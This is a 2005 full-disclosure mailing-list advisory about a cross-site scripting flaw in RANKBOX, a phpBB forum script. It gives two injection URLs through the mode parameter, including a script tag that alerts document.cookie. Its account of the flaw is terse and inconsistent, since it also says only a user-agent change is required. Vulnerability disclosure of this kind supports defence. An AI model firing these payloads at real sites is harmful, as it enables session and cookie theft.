RANKBOX <= XSS vulnerability
"spyburn mexico rlz" <[email protected]> Mon, 07 Nov 2005 13:29:41 -0800
| Newsgroups | gmane.comp.security.full-disclosure,gmane.comp.security.penetration,gmane.comp.security.vulnerabilities,gmane.comp.security.penetration,gmane.comp.security.basics,gmane.comp.security.nmap.general,gmane.comp.security.bugtraq |
|---|---|
| Message-ID | <[email protected]> |
#####################################################################################
# #
# Advisory #1 Title:
#
# "RANKBOX <= XSS vulnerability"
#
# #
# Author: spyburn #
# Contact: [email protected] #
# Website: elitemexico.org #
# Date: 07/11/2005 #
# Risk: High #
# Vendor Url: http://chamberofgold.com #
# Affected Software: RANKBOX
#
# Non Affected: #
# #
# We Are: ELITE MEXICO #
#####################################################################################
---------------------------------------------------------
:: Description ::
script for forums phpbb
---------------------------------------------------------
####################
:: Vulnerabilitie ::
####################
- | "xss" | -
directori afeccted is /index.php?mode=<IMG SRC=http://site.com/image.jpg>
/index.php?mode=<script>alert(document.cookie)</script>
--------------------------------------------------------
############
::Exploit::
############
no exploit is requiered, the only think you need to do is change your user
agent
----------------------------------------------------------
#######
GREETZ
#######
Visit: www.elitemexico.org
greetz: raza mexicana, mexican hackers mafia , cum, fraude, 0o_zeus_o0
#############################################################
_________________________________________________________________
MSN Premium. Protégete, Comunícate y Diviértete
http://join.msn.com/?pgmarket=es-mx&page=byoa/prem&xAPID=989&DI=233&SU=http://www.t1msn.com.mx/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/